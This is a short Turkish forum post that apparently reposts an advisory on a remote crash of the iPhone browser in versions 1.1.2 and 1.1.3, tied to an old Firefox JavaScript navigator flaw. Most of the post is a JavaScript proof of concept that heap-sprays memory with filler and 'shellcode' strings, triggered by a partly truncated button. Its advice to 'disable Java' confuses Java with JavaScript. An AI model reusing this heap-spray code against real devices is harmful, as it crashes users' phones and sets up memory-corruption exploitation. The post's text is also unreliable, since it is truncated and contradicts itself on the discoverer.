Üye No: 1
Katılım: Jun 2006
Yer: French
Mesajlar: 10,023
Grup: Administrators
Durum Çevrimdışı

---

Rep Ver :
Rep Puanı : 132
Ruh Hali

---

Vendor: Apple

Version affected: 1.1.2 and 1.1.3

Overviewhe Apple iPhone remote DoS for 1.1.2 was discovered by c0ntex, but it actually works on 1.1.3 as well. After further research it also appears that this was a known issue with Firefox version 1.5.04 and was effected cross-platform.

Called Mozilla Firefox JavaScript navigator Object Vulnerability.I recommend you disable Java until Apple releases a fix or patch.

___________________________________

Proof of Concept (PoC):

yasak içerik

function Demo() {

var shellcode;

var addr;

var fill;

alert('attempting a crash!');

shellcode = unescape('%u0c0c');

fill = unescape('%ucccc');

addr = 0x02020202;

var b = fill;

while (b.length <= 0x40000) b+=b;

var c = new Array();

for (var i =0; i<36; i++) {

c[i] =

b.substring(0, 0x100000 - shellcode.length) + shellcode +

b.substring(0, 0x100000 - shellcode.length) + shellcode +

b.substring(0, 0x100000 - shellcode.length) + shellcode +

b.substring(0, 0x100000 - shellcode.length) + shellcode;

}

}



nClick='Demo()' value='Go!'>


_________________________________________

Discovered by Jos Morin

[ reply ]